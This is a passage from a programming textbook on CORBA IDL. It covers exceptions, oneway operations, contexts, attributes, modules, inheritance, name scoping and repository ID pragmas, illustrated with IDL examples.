was invoked, no side effects of the operation have taken effect. 
 
COMPLETED_MAYBE 
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The completion status is indeterminate. This typically happens if the client invokes an 
operation and loses connectivity with the server while the call is still in progress. In this 
case, there is no way for the client run time to decide whether the operation was actually 
invoked in the server or whether the problem occurred before the request reached the 
servant. 
The minor data member in system exceptions is meant to convey additional information 
about the exact cause of a failure with an error code. Unfortunately, CORBA does not 
specify the meaning of the minor codes and leaves their assignment to each ORB 
implementation (ORB vendors can reserve a section of minor code values for their 
exclusive use). For you as a developer, this means that there is no way to interpret the 
minor member in your program, at least not if you want to write portable code. 
 
However, the minor code can be useful for debugging if an ORB vendor uses it to 
provide further information about the precise cause of a system exception. This means 
that you should at least show the minor code when you report or log a system exception 
(even though you cannot interpret the minor code programmatically). 

4.11 System Exceptions or User Exceptions? 

As you will see in Chapter 9, the implementation of an operation in the server can raise 
system exceptions as well as the user exceptions in the operation's raises expression. 
Consider again the EmployeeRegistry interface from Section 2.4.2: 
      
interface EmployeeRegistry { 
    Employee lookup(in long emp_number); 
}; 
 
     
The question is, how should lookup behave if it is called with a non-existent employee 
number? One option is to return a nil reference to indicate a failed lookup. This is 
certainly acceptable, in particular if you anticipate that clients will look for non-existent 
employees as part of normal operation. 
 
However, you may decide that it would be better to treat lookup of a non-existent 
employee as an error condition and to raise an exception. Because lookup does not 
have a raises expression, you must pick a system exception to indicate that an 
employee number is unknown. Looking through the list of system exception on page 92, 
a likely choice is BAD_PARAM. 
 
For an operation as simple as lookup, raising a BAD_PARAM exception may be OK. 
However, it is bad practice to rely on system exceptions to indicate application-level 
errors. For example, consider the following modified version of lookup: 
      
interface EmployeeRegistry { 
    Employee lookup(in string emp_name, in string emp_birthday); 
}; 
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With this version of the interface, we must supply both a name and a birth date to locate 
an employee. The problem now is that there are several possible error conditions. For 
example, the supplied name could denote a non-existent employee, or the birth date could 
be malformed (for example, the birth date could be the empty string). If lookup still 
raises BAD_PARAM to indicate failure to locate an employee, the client can no longer tell 
which parameter was considered in error. Moreover, the ORB run time itself may raise a 
BAD_PARAM exception, for example if a null pointer is passed to lookup (it is illegal to 
pass null pointers across IDL interfaces). In that case, the client has yet another problem 
because, on receipt of a BAD_PARAM exception, it can no longer tell whether the 
exception was raised by the ORB run time or by the application code in the server. 
 
For these reasons, we recommend that you always define appropriate user exceptions for 
application-level error conditions. This approach not only ensures that error reporting 
takes place at the appropriate level of detail, but it also allows the client to distinguish 
application errors from platform errors (something that can be essential for debugging). 

4.12 Oneway Operations 

IDL permits an operation to be declared as oneway: 
      
interface Events { 
    oneway void send(in EventData data); 
}; 
 
     
Intuitively, oneway operations are intended for building unreliable signaling 
mechanisms with semantics similar to UDP datagrams (the send-and-forget approach). 
A oneway operation must adhere to the following rules. 
 
It must have return type void. 
It must not have any out or inout parameters. 
It must not have a raises expression. 
These restrictions exist to disallow any traffic in the return direction from server to client. 
Because user exceptions are return values in disguise, they are included in the preceding 
list of restrictions. However, oneway calls may raise system exceptions. 
 
Oneway operations have "best effort" semantics. This means that oneway calls may not 
be delivered but are guaranteed to be delivered at most once. Beyond this, the CORBA 
specification says nothing about the semantics of oneway. For example, an ORB that 
simply drops every oneway call on the floor is a compliant implementation. (Its best 
effort happens to be a very poor one.) Conversely, an ORB is entitled to simply ignore 
the oneway keyword and to dispatch oneway calls in the same way as any other call. 
(That ORB's best effort is a particularly good one because oneway calls are as reliable 
as ordinary calls.) 
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The CORBA specification makes no other guarantees. In particular, the specification 
does not guarantee non-blocking behavior, does not guarantee asynchronous call dispatch, 
and does not even guarantee that oneway calls will be received in the same order as they 
were sent. Do not create designs that assume either non-blocking or asynchronous 
behavior just because operations are declared oneway. The actual behavior at run time 
of such calls depends on the ORB and typically also depends on whether client and server 
are threaded and whether or not they are collocated. 
 
IDL defines interfaces, but oneway has nothing to do with the interface of an operation. 
Instead, it influences the implementation of the operation's call dispatch. As you will see 
in Section 7.13.1, the C++ interfaces for oneway operations are identical to those of 
normal operations, and it is possible to invoke a normal operation as if it had been 
declared as oneway by using the Dynamic Invocation Interface. This indicates that 
oneway is really an implementation concern and should not have been made a part of 
IDL, because it operates at a different level of abstraction. 
 
The semantics established by oneway are too weak to be really useful, and we 
recommend that you avoid the feature. If you need to guarantee non-blocking behavior or 
want to build some form of signaling mechanism, the CORBA Event Service (see 
Chapter 20) is likely to be a much better choice. It has defined semantics and avoids 
the uncertainty associated with oneway. (The CORBA Messaging specification [20], 
adopted in 1998, has added features that permit you to control the semantics of oneway 
invocations in more detail. However, ORB vendors are unlikely to offer implementations 
before mid-1999.) 

4.13 Contexts 

Operation definitions can optionally use a context clause. For example: 
      
ValType read_value() context("USER", "GROUP", "X*"); 
 
     
The context clause must contain one or more string literals, starting with an alphabetic 
character and consisting of alphabetics, digits, period (.), underscore (_), and asterisk (*). 
An asterisk can occur only as the final character. 
 
A context clause permits one or more values to be made available to the server implicitly 
with a call. The idea is similar to UNIX environment variables, in which a child process 
automatically inherits the environment of its parent. The preceding declaration states that 
when a client calls the read_value operation, the values of the client's context 
variables USER and GROUP, and the value of all context variables starting with X, will be 
made available to the server. CORBA defines a Context interface that allows you to 
connect context objects into defaulting hierarchies, something that creates a more 
powerful mechanism than just a single vector of variables. 
 
Contexts create a number of problems with respect to type safety. 
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If a particular context variable is not set by the client, its value is (silently) not 
transmitted to the server. 
 
This means that the server cannot rely on the value of a particular context variable being 
available even though it appears in the context clause. 
 
Context variables are untyped. 
 
For the preceding example, the server may expect to find a numerical user ID in the 
USER variable. However, the client may have placed the user name into the variable. 
 
This illustrates that context clauses provide no guarantees to the server implementation. 
A context variable may not be set at all, and, even if it is set, it may contain a string that 
does not correctly decode to the expected type. This is a recipe for disaster because it 
shoots a big hole through the IDL type system. CORBA implements strict type checking 
for operations, and that makes it impossible for a client to forget to supply a parameter or 
to supply a parameter of the wrong type.[3] In contrast, context variables provide no such 
guarantees. 

[3] It is possible to violate the type system by using "sledgehammer" C++ casts. However, if 
you insist on using casts, you deserve what you get. It is also possible to violate the type 
system by using the DII incorrectly, but that is the price of its flexibility. 

Because IDL contexts are unsafe, we recommend that you avoid using them. It is also 
possible that contexts may be removed from CORBA, so the future of this (mis)feature is 
uncertain anyway. 

4.14 Attributes 

An attribute definition can be used to create something akin to a C++ public member 
variable: 
      
interface Thermostat { 
    readonly attribute short    temperature;    // Probably bad 
    attribute short             nominal_temp;   // Probably bad 
}; 
 
     
The attribute keyword may be used only inside an interface definition. Attributes 
can be of any type (including user-defined complex types). An attribute defines a pair of 
operations the client can call to send and receive a value. A readonly attribute defines 
a single operation the client can call to receive a value. 
 
Attributes look like C++ public member variables, but in fact they do not define storage 
or state. For example, the following interface is semantically equivalent to the preceding 
one: 
      
interface Thermostat { 
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    short   get_temperature(); 
    short   get_nominal_temp(); 
    void    set_nominal_temp(in short t); 
}; 
 
     
Even though attribute definitions look like variables, in reality they are just a shorthand 
for defining a pair of operations (or a single operation for readonly attributes). There 
simply is no semantic difference between the preceding two interfaces. In both cases, 
attribute access is implemented by remote procedure calls. 
 
There is a problem relating to attributes, though: an attribute definition cannot contain a 
raises expression. The following is illegal: 
      
interface Thermostat { 
    exception TooHot {}; 
    exception TooCold {}; 
    readonly attribute short    temperature; 
    attribute short             nominal_temp 
                                    raises(             // Illegal 
                                        TooHot, TooCold 
                                    ); 
}; 
 
     
Attributes cannot raise user exceptions (system exceptions are possible). This makes 
attributes second-class citizens, because error reporting is quite limited. For example, 
setting the temperature of a thermostat should raise an out-of-range exception if an 
attempt is made to set the nominal temperature too high or too low. However, attributes 
limit you to error reporting via system exceptions. This means that you must resort to a 
system exception (for example, CORBA::BAD_PARAM) when an illegal temperature is 
requested. This exception is less informative than TooHot and TooCold user 
exceptions. 
 
You cannot safely use the minor member in a system exception to encode the "too hot" 
and "too cold" conditions. This is because the specification gives no guarantee that an 
ORB will preserve the minor value of a system exception. Most ORBs will preserve it, 
but, if you rely on this behavior, you are, strictly speaking, outside the CORBA 
specification. (And, as we point out in Section 4.11, you should not use system 
exceptions for application-level error conditions anyway.) 
 
The implementation of attributes by the ORB run time is identical to using operations 
(attributes are implemented as a pair of operations). This means that there is no difference 
in performance between attribute accesses and operation invocations. Because attributes 
offer no performance advantage but suffer from limited error reporting, some 
organizations have banned attributes in their style guides. You may want to consider 
doing the same. 
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If you choose to use attributes, you should limit yourself to readonly attributes. 
Typically, not all values in the range of a modifiable attribute are legal, so modifiable 
attributes can lead to the ambiguities caused by raising system exceptions, as with the 
nominal_temp attribute in the preceding example. 

4.15 Modules 

IDL uses the module construct to create namespaces. Modules combine related 
definitions into a logical group and prevent pollution of the global namespace: 
      
module CCS { 
    typedef string  LocType; 
    typedef short   TempType; 
    interface Thermostat { 
        LocType     get_location(); 
        TempType    get_temperature(); 
        TempType    get_nominal_temp(); 
        void        set_nominal_temp(in TempType t); 
    }; 
}; 
 
     
Identifiers in a module need be unique only within that module. IDL's module scope 
resolution rules are the same as those for C++: the IDL compiler searches for the 
definition of an identifier from the innermost scope outward toward the outermost scope. 
This means that inside the module CCS, a temperature type can be referred to as 
TempType, CCS::TempType, and :: CCS::TempType. 
 
Modules do not hide their contents, so you can use a type defined in one module inside 
another module: 
      
module Weather { 
    enum WType { sunny, cloudy, rainy, foggy }; 
    interface Forecast { 
        CCS::TempType   tomorrows_minimum();    // From module CCS 
        CCS::TempType   tomorrows_maximum();    // From module CCS 
        WType           outlook(); 
    }; 
}; 
 
     
Modules can contain any definition that can appear at global scope (type, constant, 
exception, and interface definitions). In addition, modules can contain other modules, so 
you can create nested hierarchies. 
 
The main purpose of modules is to avoid polluting the global namespace. If you place all 
the definitions for an application into a module that reflects the application's name, you 
are less likely to clash with definitions created by other developers. 
 
Modules are similar to C++ namespaces in that they can be reopened: 
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module A { 
    // Some definitions here 
}; 
module B { 
    // Some other definitions here 
}; 
module A { 
    // Reopen module A and add to it 
}; 
 
     
Incremental definition of modules is useful if specifications are written by a number of 
developers. Instead of creating a giant definition inside a single module, you can break 
the module into a number of separate source files. For example: 
      
// 
// File: part1.idl 
// 
module A {                      // First half of module A 
    // ... 
}; 
// 
// File: part2.idl 
// 
module A {                      // Second half of module A 
    // ... 
}; 
// 
//File: myspec.idl              // Full definition of module A 
// 
#include "part1.idl" 
#include "part2.idl" 
 
     
Using this technique, developers are better shielded from changes. For example, a change 
in part1.idl does not affect the parts of the application that require only part2.idl 
(and that avoids recompiling the source code). 
 
Currently, many ORBs do not permit reopening of modules because module reopening 
requires standard C++ namespaces (reopened modules cannot be sensibly mapped to C++ 
nested classes). Once standard C++ compilers become ubiquitous, reopening of modules 
will be supported universally. 

4.16 Forward Declarations 

As you saw earlier, interfaces define types and can be passed as parameters to operations. 
Occasionally, interfaces are mutually dependent on each other, each one expecting a 
parameter of the other interface type. Such definitions require a forward declaration: 
      
interface Husband;  // Forward declaration 
interface Wife { 
    Husband get_spouse(); 
}; 
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interface Husband { 
    Wife    get_spouse(); 
}; 
 
     
The forward declaration makes it possible to use Husband in the definition of 
Wife::get_spouse without getting an error about an unknown type. Multiple 
forward declarations of the same interface are legal. A forward declaration obliges you to 
eventually supply the definition of the forward-declared interface later in the 
specification. It is illegal to inherit from a forward-declared interface until after its 
definition is supplied. 
 
The identifier used in a forward declaration must be a simple (non-qualified) identifier. 
The following is an illegal attempt to forward-declare an interface in a different module: 
      
module Females { 
    interface Males::Husband; // Error, simple identifier required 
    // ... 
}; 
 
     
If you require mutually dependent interfaces across module boundaries, you must use the 
following technique: 
      
module Females { 
    interface Wife;                  // Forward declaration 
}; 
module Males { 
    interface Husband { 
        Females::Wife get_spouse();  // OK, Wife has been declared 
    }; 
}; 
module Females {                     // Reopen Females 
    interface Wife {                 // Finish off defining Wife 
        Males::Husband get_spouse(); // OK, Husband is defined 
    }; 
}; 
 
     
Notice that this technique requires reopening of modules. However, you should rarely 
need to write something like the preceding. Modules are a construct to group related 
definitions. This means that things in different modules should be less closely coupled 
than things in the same module. Mutually dependent interfaces in different modules are 
therefore almost a contradiction in terms. It does not make sense to couple the two 
interfaces this tightly while insisting at the same time that they should belong to different 
modules. 
 
Typically, such definitions are created not by humans but rather by automatic tools that 
translate some other type system into IDL. If you find yourself writing IDL definitions 
like the preceding example, it may be a good idea to step back and rethink your approach. 
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4.17 Inheritance 

IDL interfaces can inherit from each other: 
      
interface Thermometer { 
    typedef short TempType; 
    readonly attribute TempType temperature; 
}; 
interface Thermostat : Thermometer { 
    void    set_nominal_temp(in TempType t); 
}; 
 
     
This definition makes Thermometer a base interface of Thermostat. A 
Thermostat automatically has the inherited temperature attribute as well as the 
set_nominal_temp operation. 
 
Scope resolution for inheritance works as for C++: identifiers are resolved by 
successively searching base interfaces toward the root. This rule allows TempType to be 
used without qualification inside interface Thermostat, although 
Thermometer::TempType and ::Thermometer::TempType could also have 
been used. 
 
Inheritance gives rise to polymorphism and has the same semantics as for C++. A derived 
interface can be treated as if it were a base interface, so in all contexts in which a base 
interface is expected, a derived interface can actually be passed at run time: 
      
interface Logger { 
    long add(in Thermometer t, in unsigned short poll_interval); 
    void remove(in long id); 
}; 
 
     
The Logger interface maintains a collection of thermometers whose temperatures are to 
be recorded at specific intervals. Thermometers can be added and removed from the 
collection by passing an object reference to the add operation. The add operation 
returns an identifier for the reference that is used to remove the reference later by calling 
the remove operation. The logger records the temperature of each monitored 
thermometer by reading the temperature attribute at the specified interval. 
 
Because Thermostat inherits from Thermometer, a Thermostat interface is 
compatible with a Thermometer interface. This means that at run time, a client can 
pass a Thermostat reference to the add operation, and the implementation of 
Logger is unaware that it is actually dealing with a thermostat. 
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4.17.1 Implied Inheritance from Type Object 

All IDL interfaces implicitly inherit from type Object, which is at the root of the IDL 
inheritance tree. The IDL we saw in the preceding section therefore forms the inheritance 
graph shown in Figure 4.3.[4]  

[4] We use the Unified Modeling Language (UML) for the object model diagrams in this book 
(see [1] and [32] for details). 

Figure 4.3 Implicit inheritance from Object. 

 
Because all IDL interfaces directly or indirectly inherit from Object, all interfaces are 
type-compatible with type Object. This allows you to write generic IDL operations that 
can accept and return object references to arbitrary interface types: 
       
interface Generic { 
    void    accept(in Object o); 
    Object  lookup(in KeyType key); 
}; 
 
      
Because parameters and return values are of type Object, you can pass an object 
reference to any type of interface to accept, and you can return a reference to any type 
of interface from lookup. Exchanging object references as type Object is particularly 
useful for the creation of generic services when the precise interface types are not known 
at compile time. For example, the CORBA Naming Service (see Chapter 18) uses this 
technique to implement a hierarchy of named object references. 
 
IDL does not allow you to explicitly inherit from type Object (it is understood that all 
interfaces inherit from Object, and you are not allowed to restate it), so the following is 
illegal: 
       
interface Thermometer : Object {    // Error 
    // ... 
}; 
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4.17.2 Empty Interfaces 

It is legal to define an empty interface: 
       
interface Empty {}; 
 
      
One use for an empty interface is to create a common abstract base interface for a number 
of other interfaces. For example: 
       
interface Vehicle {};       // Abstract base interface 
interface Car : Vehicle { 
    void start(); 
    void stop(); 
}; 
interface Airplane : Vehicle { 
    void take_off(); 
    void land(); 
}; 
 
      
In this definition, Vehicle acts as an abstract base interface that does not have 
operations or attributes and therefore does not have behavior. Note that IDL does not 
directly offer a mechanism to mark an interface as abstract, so inserting a comment (as 
with the preceding definition of Vehicle) is the next best thing we can do. Interfaces 
Car and Airplane inherit from Vehicle and add the behavior specific to cars and 
airplanes. The Vehicle interface allows us to generically pass both Car and 
Airplane interfaces. For example: 
       
interface Garage { 
    void park(in Vehicle v); 
    void make_ready(in Vehicle v); 
}; 
 
      
Interface Garage permits vehicles to be parked or made ready and therefore can deal 
with both cars and airplanes. However, an interface not derived from Vehicle cannot 
be passed to either park or make_ready. The empty Vehicle interface therefore 
improves the type safety of the specification. (We could have used Object instead of 
Vehicle, but then things other than cars and airplanes could be placed in garages.) 
 
A word of warning is appropriate here: if you find yourself using empty interfaces such 
as Vehicle, it may be an indication that you are modeling things inappropriately. After 
all, an empty interface, by definition, cannot have behavior (because you cannot send a 
message to an empty interface). This in turn may indicate that you are artificially creating 
a base type when none is necessary. For example, in the preceding example, it may be 
more appropriate not to treat both cars and airplanes as vehicles. In particular, after some 
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thought, it may turn out to be better to store airplanes in hangars instead of garages. If so, 
there is no need for an empty base interface such as Vehicle. 
 
Note that you should not use an empty interface to indicate an aspect of the behavior of 
an object. For example, an earlier version of the OMG Object Transaction Service [21] 
used an empty interface to indicate that an object can participate in a two-phase commit 
protocol: 
       
module CosTransactions { 
    interface TransactionalObject {}; 
    // ... 
}; 
 
      
The intent of this IDL is that to receive a transaction context and to indicate transactional 
behavior, an interface must inherit from TransactionalObject. The problem with 
this approach is that the empty interface is used to indicate behavior instead of interface. 
As a result, it becomes impossible to add transactional behavior to an existing non-
transactional object without modifying its IDL definition. In other words, using 
inheritance from an empty interface to indicate behavior breaks the separation of 
interface and implementation and should therefore be avoided.[5]  

[5] The Object Transaction Service has since been revised so that objects can be transactional 
without having to inherit from TransactionalObject. 

4.17.3 Interface Versus Implementation Inheritance 

It is important to remember that IDL inheritance applies only to interfaces. C++ 
programmers often have difficulty with this because, by default, C++ uses 
implementation inheritance. In contrast, IDL inheritance says nothing about the 
implementation of the related interfaces. Even though Thermometer and 
Thermostat are in an inheritance relationship, the implementation of the two 
interfaces is completely unconstrained. This means that the following implementation 
options are all open to the implementer (we discuss the details of these techniques in 
Chapter 11). 
 
Both interfaces are implemented in the same address space using C++ implementation 
inheritance. 
 
Both interfaces are implemented in the same address space, but instead of inheritance, 
delegation serves to reuse the implementation of the base class. 
 
Both interfaces are implemented in the same address space, but each interface has a 
completely separate implementation, so the derived class does not reuse any of the base 
class implementation. 
 
Each interface is implemented in a different address space, but delegation across address 
spaces simulates implementation inheritance. 
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Each interface is implemented in a different address space with completely separate 
implementations. 
 
IDL inheritance does not imply anything about implementation; it simply establishes 
compatibility between interfaces at the type level. You need to keep in mind this 
difference in inheritance semantics between IDL and C++. The inheritance structure of 
the IDL need not be reflected in the implementation. As you will see in Chapter 11, 
IDL interfaces need not even be implemented as C++ classes, and CORBA objects can 
actually be implemented as lumps of data. 

4.17.4 Inheritance Redefinition Rules 

Derived interfaces can redefine types, constants, and exceptions defined in their base 
interfaces. For example, the following is legal: 
       
interface Thermometer { 
    typedef long    IDType; 
    const IDType    TID = 5; 
    exception       TempOutOfRange {}; 
}; 
interface Thermostat : Thermometer { 
    typedef string  IDType; 
    const IDType    TID = "Thermostat"; 
    exception       TempOutOfRange { long temp; }; 
}; 
 
      
This example shows the legal redefinitions in a derived interface. Nevertheless, 
redefining identifiers in this way, although legal, is extremely confusing and you should 
avoid it. 

4.17.5 Inheritance Limitations 

IDL does not permit the redefinition of attributes or operations: 
       
interface Thermometer { 
    attribute long  temperature; 
    void            initialize(); 
}; 
interface Thermostat : Thermometer { 
    attribute long  temperature;    // Error, redefinition 
    void            initialize();   // Error, redefinition 
}; 
 
      
Even though the definitions in interface Thermostat do not conflict with those in 
interface Thermometer, they are illegal. It is understood that by inheritance, interface 
Thermostat already has an attribute temperature and an operation initialize, 
and you are not allowed to explicitly restate this. 
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Any form of operation or attribute overloading is also illegal: 
       
interface Thermometer { 
    attribute string    my_id; 
    string              get_id(); 
    void                set_id(in string s); 
}; 
interface Thermostat : Thermometer { 
    attribute double    my_id;                  // Redefinition! 
    double              get_id();               // Redefinition! 
    void                set_id(in double d);    // Redefinition! 
}; 
 
      
Overloading is prohibited because it is difficult to map into languages that do not directly 
support the feature. For example, to map overloaded operations to C, the IDL compiler 
would have to generate mangled function names. Although it is technically possible, it 
would make the use of the generated interfaces too difficult to be practical. 

4.17.6 Multiple Inheritance 

IDL supports multiple inheritance. For example: 
       
interface Thermometer { /* ... */ }; 
interface Hygrometer { /* ... */ }; 
interface HygroTherm : Thermometer, Hygrometer { /* ... */ }; 
 
      
A base interface can be inherited from more than once: 
       
interface Sensor { /* ... */ }; 
interface Thermometer : Sensor { /* ... */ }; 
interface Hygrometer : Sensor { /* ... */ }; 
interface HygroTherm : Thermometer, Hygrometer { /* ... */ }; 
 
      

This definition gives rise to the familiar diamond shape shown in Figure 4.4. As in 
C++, multiple inheritance is useful for interface aggregation. The usual type 
compatibility rules apply. (An interface of type HygroTherm can be passed where an 
interface of type Thermometer, Hygrometer, or Sensor is expected.) Because IDL 
deals in interface inheritance only, the declaration order of base interfaces is not 
significant. 
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Figure 4.4 Multiple inheritance of the same base interface. 

 
IDL does not have the C++ concepts of virtual versus non-virtual inheritance. In C++, the 
difference influences how many base class instances are physically present in a derived 
instance and therefore whether or not updates to the base class are shared by the 
intermediate classes. Whether virtual or non-virtual inheritance is used does not affect the 
interface of a class; it affects only its implementation. It follows that the 
concept of virtual versus non-virtual inheritance simply does not apply to IDL—there is 
only interface inheritance. 

4.17.7 Limitations of Multiple Inheritance 

IDL requires that operations and attributes must not be inherited more than once from 
separate base interfaces: 
       
interface Thermometer { 
    attribute string    model; 
    void                initialize(); 
}; 
interface Hygrometer { 
    attribute string    model; 
    string              initialize(); 
}; 
interface HygroTherm : Thermometer, Hygrometer {    // Ambiguous 
    // ... 
}; 
 
      
The definition of HygroTherm is illegal, because it inherits identical identifiers (model 
and initialize) from Thermometer and Hygrometer. It is therefore ambiguous 
which operation is meant when a caller invokes HygroTherm::initialize. 
Ambiguous inheritance is prohibited because of the difficulties of mapping it to non-OO 
languages. (A future version of CORBA may remove this restriction.) 
 
A similar problem arises through inheritance of conflicting type definitions: 
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interface Thermometer { 
    typedef string<16> ModelType; 
}; 
interface Hygrometer { 
    typedef string<32> ModelType; 
}; 
interface HygroTherm : Thermometer, Hygrometer { 
    attribute ModelType model;  // Error, 16 or 32 chars? 
}; 
 
      
This is illegal because it is no longer clear whether HygroTherm::ModelType has 16 
or 32 characters. You can easily get around this problem by using a qualified name: 
       
interface Thermometer { 
    typedef string<16> ModelType; 
}; 
interface Hygrometer { 
    typedef string<32> ModelType; 
}; 
interface HygroTherm : Thermometer, Hygrometer { 
    attribute Thermometer::ModelType model;     // Fine, 16 chars 
}; 
 

4.18 Names and Scoping 

IDL's rules for names and name scope resolution are similar to those used by C++ but 
add a few restrictions to avoid awkward constructs in a number of language mappings. 
We present these rules here mainly for completeness. If you write clean IDL that uses 
different identifiers for different things, you will never be in doubt as to which particular 
definition of an identifier is in scope. 

4.18.1 Naming Scopes 

Each of the following IDL constructs establishes its own naming scope: 
Modules 
Interfaces 
Structures 
Unions 
Exceptions 
Operation definitions 
Identifiers need be unique only within their own scope, so the following IDL is legal: 
       
module CCS { 
    typedef short   TempType; 
    const TempType  MAX_TEMP = 99;          // MAX_TEMP is a short 
    interface Thermostat { 
        typedef long    TempType;           // OK 
        TempType        temperature();      // Returns long 
        CCS::TempType   nominal_temp();     // Returns short 
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    }; 
}; 
 
      
Even though it is legal, you should obviously avoid such reuse of identifiers because it is 
highly confusing. 

4.18.2 Case Sensitivity 

Within a naming scope, identifiers must be consistently capitalized: 
       
module CCS { 
    typedef short   TempType; 
    const temptype  MAX_TEMP = 99;          // Error 
}; 
 
      
The preceding specification does not compile because after an identifier is introduced 
into a scope, the identifier must be capitalized consistently. Identifiers that differ only in 
case within the same scope are illegal: 
       
module CCS { 
    typedef short   TempType; 
    typedef double  temptype;   // Error 
}; 
 
      
After TempType is introduced into a scope, all other capitalizations are "used up." 
Within different naming scopes, different capitalizations are legal (but confusing): 
       
module CCS { 
    typedef short   TempType; 
    interface Thermometer { 
        typedef long    temptype;           // OK 
        temptype        temperature();      // Returns long 
        CCS::TempType   nominal_temp();     // Returns short 
        TempType        max_temp();         // Error 
    }; 
}; 
 
      
The definition of max_temp does not compile because the name resolution rules ignore 
the case of an identifier during name lookup. The TempType return type of max_temp 
first resolves to Thermometer::temptype and then generates an error because the 
compiler detects that TempType and temptype are used within the same scope. 
 
On the other hand, the definition of nominal_temp compiles OK because the return 
type CCS::TempType uses a qualified name, and the capitalization of the qualified 
name agrees with the capitalization at the point of definition. 
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4.18.3 Names in Nested Scopes 

A name in a nested scope cannot be the same as a name in its immediately enclosing 
scope. For example: 
       
module CCS { 
    // ... 
    module CCS {    // Error 
        // ... 
    }; 
}; 
 
      
Similarly, an interface cannot define a name that is the same as the name of the interface: 
       
interface SomeName { 
    typedef long SomeName;  // Error 
}; 
 
      

4.18.4 Name Lookup Rules 

The IDL compiler resolves names by successively searching enclosing scopes. For 
example: 
       
module CCS { 
    typedef short TempType; 
    // ... 
    module Sensors { 
        typedef long TempType;               // Ugly, but legal 
        interface Thermometer { 
            TempType temperature();          // Returns a long 
        }; 
    }; 
    module Controllers { 
        // ... 
        module TemperatureControllers { 
            interface Thermostat { 
                TempType get_nominal_temp(); // Returns a short 
            }; 
        }; 
    }; 
}; 
 
      
In this example, the temperature operation returns a long value because as the 
compiler searches through the enclosing scopes, the closest definition of the name 
TempType appears inside module Sensors. The definition of CCS::TempType is 
hidden inside interface Thermometer by Sensors::TempType. 
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On the other hand, the get_nominal_temp operation returns a short value because 
searching outward through its enclosing scopes, the compiler finds the CCS::Temp-
Type definition. 
 
In the presence of inheritance, the compiler searches base interfaces first and then 
searches the enclosing scopes from the point of lookup. The enclosing scope of base 
interfaces is never searched during name lookup: 
       
module Sensors { 
    typedef short   TempType; 
    typedef string  AssetType; 
    interface Thermometer { 
        typedef long TempType; 
        TempType    temperature();      // Returns a long 
        AssetType   asset_num();        // Returns a string 
    }; 
}; 
module Controllers { 
    typedef double  TempType; 
    interface Thermostat : Sensors::Thermometer { 
        TempType    nominal_temp();     // Returns a long 
        AssetType   my_asset_num();     // Error 
    }; 
}; 
 
      
In this example, nominal_temp returns a long instead of a double because base 
interfaces are searched before the enclosing scope. In other words, inside interface 
Thermostat, Sensors::Thermometer::TempType hides 
Controllers::TempType. 
 
The definition of my_asset_num fails because AssetType is not defined at this point. 
Even though interface Thermometer is a base interface and uses AssetType, 
interface Thermometer does not define AssetType. When the compiler looks at the 
definition of my_asset_num, it does not consider Sensors::AssetType because 
the enclosing scope of base interfaces is never searched. 

4.19 Repository Identifiers and pragma Directives 

CORBA provides an Interface Repository that allows run-time access to IDL definitions. 
The IDL compiler assigns a repository ID to every type in a specification. This repository 
ID provides a unique identifier for each IDL type and is used as a key into the Interface 
Repository, where the corresponding type definition is stored. 
 
Repository identifiers can have one of three possible formats, indicated by their ID field: 
IDL format (default): 

•         
• IDL:acme.com/CCS/TempType:1.0 
•  
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DCE UUID format: 

•         
• DCE:700dc518-0110-11ce-ac8f-0800090b5d3e:1 
•  

       
LOCAL format: 

•         
• LOCAL:my personal favorite type name identifier 
•  

       
By default, the IDL compiler generates repository IDs in IDL format. 
 
The DCE format permits DCE universally unique identifiers (UUIDs) [29] to be used as 
repository identifiers. This is useful, for example, for CORBA-to-DCE protocol 
translation. The final digit following the colon is a minor version number. 
 
The LOCAL format is completely unconstrained and permits any sequence of characters 
following the LOCAL: prefix. This format is useful for local interface repositories that do 
not need to conform to any convention. For example, you could use the LOCAL format 
to add repository identifiers that link into your revision control system. 

4.19.1 The IDL Repository ID Format 

The following specification illustrates how the default repository identifiers (in IDL 
format) are generated: 
       
module CCS { 
    typedef short TempType; 
    interface Thermometer { 
        readonly attribute TempType temperature; 
    }; 
    interface Thermostat : Thermometer { 
        void    set_nominal_temp(in TempType t); 
    }; 
}; 
 
      
The generated repository identifiers for this specification are as follows: 
       
IDL:CCS:1.0 
IDL:CCS/Temptype:1.0 
IDL:CCS/Thermometer:1.0 
IDL:CCS/Thermometer/temperature:1.0 
IDL:CCS/Thermostat:1.0 
IDL:CCS/Thermostat/set_nominal_temp:1.0 
 
      
As you can see, an IDL format repository ID consists of three parts (the IDL prefix, a 
scoped type name, and a version number). The scoped type name is formed by traversing 
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the IDL definition from the outermost to the innermost scope, concatenating the 
identifiers for each scope with a slash. 

4.19.2 The prefix Pragma 

IDL repository identifiers provide unique names for every IDL type. However, the 
mechanism is not perfect; there is always the niggling question, "What if someone else 
also has created a module called CCS?" Of course, you can make a name clash highly 
unlikely by choosing a longer name. For example, if you work at the famous Acme 
Corporation, you could call the module Acme_Corporation_CCS. However, this is 
not pretty, and it generates very long identifier names for some language mappings. 
Alternatively, you could nest the CCS module inside another module called 
Acme_Corporation. This technique works, but it means that all the company's IDL 
definitions end up in a single module, and that creates administrative problems. 
 
The IDL prefix pragma alleviates the problem by permitting you to add a unique 
prefix to a repository ID: 
       
#pragma prefix "acme.com" 
module CCS { 
    // ... 
}; 
 
      
This definition prepends the prefix acme.com to every repository ID: 
       
IDL:acme.com/CCS:1.0 
IDL:acme.com/CCS/Temptype:1.0 
IDL:acme.com/CCS/Thermometer:1.0 
IDL:acme.com/CCS/Thermometer/temperature:1.0 
IDL:acme.com/CCS/Thermostat:1.0 
IDL:acme.com/CCS/Thermostat/set_nominal_temp:1.0 
 
      
The obvious question is, how does this help? After all, by adding another prefix at the 
front, we have simply pushed the problem further away and not solved it. The answer is 
twofold. 
 
By using a distinct prefix, such as a trademark or a registered Internet domain name, you 
can make a name clash extremely unlikely. 
 
The prefix for repository identifiers does not affect the generated code. Even though 
every repository ID has the acme.com prefix, the API generated from the IDL still 
looks exactly as if no prefix had been specified. Thus, you avoid ending up with ugly 
identifiers such as Acme_Corporation_CCS::Thermometer in the generated 
code. 
 
A prefix pragma stays in effect either until it is changed explicitly or until the scope 
containing the pragma closes (at which point the previous prefix takes effect again). Note 
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that an IDL source file is a scope for the purposes of #pragma prefix processing. 
This means that if you include a file in an IDL definition, any prefix in the included file 
does not affect the definitions following the #include directive. 
 
It is a good idea to establish a unique prefix for your projects and to use it consistently. 
This practice ensures that other developers will not clash with your IDL (possibly months 
or years after it is deployed). 
 
All specifications published by the OMG carry the prefix omg.org. 

4.19.3 The version Pragma 

IDL also supports a version pragma. It applies only to repository IDs in IDL format. 
For example: 
       
#pragma prefix "acme.com" 
module CCS { 
    typedef short TempType; 
#pragma version TempType 1.8 
    // ... 
